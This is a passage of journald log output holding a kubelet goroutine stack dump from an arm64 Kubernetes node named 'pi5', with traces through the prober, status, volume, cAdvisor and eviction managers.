k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.podkiller -fm  \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1339 +0x20\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420e2aec0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2aec0, 0x3b9aca00, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2aec0, 0x3b9aca00, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1339 +0x214\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 272  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2aed0, 0x6fc23ac00, 0x0, 0x52223d61706e2c01, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2aed0, 0x6fc23ac00, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1343 +0x30c\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 273  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/status.  manager .start.func1  \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/status/status_manager.go:144 +0x1d8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420dfd560 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420dfd560, 0x0, 0x0, 0x3b63207261763b01, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420dfd560, 0x0, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.forever 0x4420dfd560, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:43 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/status.  manager .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/status/status_manager.go:152 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 274  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/prober.  manager .updatereadiness 0x442040cd20 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/prober/prober_manager.go:243 +0x54\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/prober.  manager . k8s.io/kubernetes/pkg/kubelet/prober.updatereadiness -fm  \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/prober/prober_manager.go:100 +0x20\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420e2aef0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2aef0, 0x0, 0x0, 0x29632866693b2901, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2aef0, 0x0, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.forever 0x4420e2aef0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:43 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/prober.  manager .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/prober/prober_manager.go:100 +0x78\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 275  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2af00, 0x3b9aca00, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2af00, 0x3b9aca00, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/pleg.  genericpleg .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pleg/generic.go:129 +0x8c\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 235  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.waitfor 0x442050bb60, 0x4420a90fb0, 0x44200a4060, 0x453654, 0x3430ea8 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:274 +0x4c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.polluntil 0x5f5e100, 0x4420ad6fb0, 0x44200a4060, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:254 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler.  reconciler .run 0x4420760fc0, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler/reconciler.go:145 +0x48\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/volumemanager.  volumemanager .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/volume_manager.go:246 +0x10c\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 236  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.poller.func1.1 0x442023cf60, 0x5f5e100, 0x0, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:318 +0x16c\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.poller.func1\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:332 +0x74\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 312  select :\r jun 26 07:10:22 pi5 kubelet 716 : net/http.  persistconn .writeloop 0x442048c6c0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1704 +0x330\r jun 26 07:10:22 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1118 +0x810\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 311  io wait :\r jun 26 07:10:22 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d2480, 0x72, 0xa \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:22 pi5 kubelet 716 : net.  polldesc .wait 0x4420167c68, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:22 pi5 kubelet 716 : net.  polldesc .waitread 0x4420167c68, 0x4420b89000, 0x1000 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:22 pi5 kubelet 716 : net.  netfd .read 0x4420167c00, 0x4420b89000, 0x1000, 0x1000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:22 pi5 kubelet 716 : net.  conn .read 0x44200a0270, 0x4420b89000, 0x1000, 0x1000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:22 pi5 kubelet 716 : net/http.  persistconn .read 0x442048c6c0, 0x4420b89000, 0x1000, 0x1000, 0x4, 0x44e310, 0x4420019440 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1316 +0xf8\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .fill 0x4420019260 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:97 +0xf4\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .peek 0x4420019260, 0x1, 0x4420684bd8, 0x1, 0x0, 0x4420674f60, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:129 +0x58\r jun 26 07:10:22 pi5 kubelet 716 : net/http.  persistconn .readloop 0x442048c6c0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1474 +0x158\r jun 26 07:10:22 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1117 +0x7f0\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 287  syscall :\r jun 26 07:10:22 pi5 kubelet 716 : syscall.syscall 0x3f, 0x15, 0x4420aeb000, 0x1000, 0x54, 0x4420aeb000, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/asm_linux_arm64.s:10 +0x8\r jun 26 07:10:22 pi5 kubelet 716 : syscall.read 0x15, 0x4420aeb000, 0x1000, 0x1000, 0x54, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/zsyscall_linux_arm64.go:783 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : syscall.read 0x15, 0x4420aeb000, 0x1000, 0x1000, 0x54, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/syscall_unix.go:162 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : os.  file .read 0x442000e4b8, 0x4420aeb000, 0x1000, 0x1000, 0x54, 0x43e284, 0x4420677500 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/os/file_unix.go:165 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : os.  file .read 0x442000e4b8, 0x4420aeb000, 0x1000, 0x1000, 0x0, 0x0, 0x4420081c00 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/os/file.go:101 +0x58\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .fill 0x44207948a0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:97 +0xf4\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .readslice 0x44207948a0, 0x40590a, 0x54, 0x405fb0, 0x4420d974b0, 0x405fe8, 0x10 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:338 +0x9c\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .readbytes 0x44207948a0, 0x197e00a, 0x2b56220, 0x4420677440, 0x4420c6b770, 0x1, 0x197e0f8 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:416 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .readstring 0x44207948a0, 0x442067740a, 0x4420c6b770, 0x4420677560, 0x54, 0x4420677560 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:456 +0x28\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser.readlinesfromfile 0x4420677440, 0x44207948a0, 0x1000000010000, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser/oomparser.go:113 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser.  oomparser .streamooms.func1 0x4420677440, 0x442000e4e0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser/oomparser.go:140 +0x2c\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser.  oomparser .streamooms\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser/oomparser.go:141 +0x60\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 298  syscall :\r jun 26 07:10:22 pi5 kubelet 716 : syscall.syscall 0x3f, 0x3, 0x4420c11f40, 0x10000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/asm_linux_arm64.s:10 +0x8\r jun 26 07:10:22 pi5 kubelet 716 : syscall.read 0x3, 0x4420c11f40, 0x10000, 0x10000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/zsyscall_linux_arm64.go:783 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : syscall.read 0x3, 0x4420c11f40, 0x10000, 0x10000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/syscall_unix.go:162 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/exp/inotify.  watcher .readevents 0x4420bd0680 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:160 +0x74\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/golang.org/x/exp/inotify.newwatcher\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:76 +0x27c\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 299  syscall :\r jun 26 07:10:22 pi5 kubelet 716 : syscall.syscall 0x3f, 0x14, 0x442096bf40, 0x10000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/asm_linux_arm64.s:10 +0x8\r jun 26 07:10:22 pi5 kubelet 716 : syscall.read 0x14, 0x442096bf40, 0x10000, 0x10000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/zsyscall_linux_arm64.go:783 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : syscall.read 0x14, 0x442096bf40, 0x10000, 0x10000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/syscall/syscall_unix.go:162 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/exp/inotify.  watcher .readevents 0x4420bd0800 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:160 +0x74\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/golang.org/x/exp/inotify.newwatcher\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/exp/inotify/inotify_linux.go:76 +0x27c\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 300  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser.  oomparser .streamooms 0x442000e4e0, 0x4420794660 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/utils/oomparser/oomparser.go:143 +0x88\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .watchfornewooms\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:1127 +0xa4\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 301  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .watchfornewooms.func1 0x4420794660, 0x442071e000 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:1130 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .watchfornewooms\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:1159 +0xcc\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 302  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0x2c0d8324d \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeeping 0x44201ec3c0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:457 +0x260\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:95 +0x34\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 303  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0x34473a384 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeeping 0x44201ecb40 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:457 +0x260\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:95 +0x34\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 304  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0x291d89462 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeeping 0x44201ed0e0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:457 +0x260\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:95 +0x34\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 305  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0x34caad0ef \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeeping 0x44203e6f00 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:457 +0x260\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:95 +0x34\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 322  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0x2a8741800 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeeping 0x44203e70e0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:457 +0x260\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:95 +0x34\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 323  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/watcher/raw.  rawcontainerwatcher .start.func1 0x44202fbea0, 0x4420676a20 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/watcher/raw/raw.go:83 +0x268\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/watcher/raw.  rawcontainerwatcher .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/watcher/raw/raw.go:99 +0xd4\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 324  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .watchfornewcontainers.func1 0x442071e000, 0x44203b5a60, 0x4420b2b3e0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:1079 +0x4a0\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .watchfornewcontainers\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:1116 +0x13c\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 325  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .globalhousekeeping 0x442071e000, 0x4420bcf320 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:336 +0x2c0\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  manager .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/manager.go:306 +0x480\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 326  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0x2540be400 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/eviction.  managerimpl .start.func1 0x4420a95d40, 0x4fe53c0, 0x4420b92000, 0x442038aab0, 0x4fe5400, 0x4420b92000, 0x442038aac0, 0x2540be400 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/eviction_manager.go:159 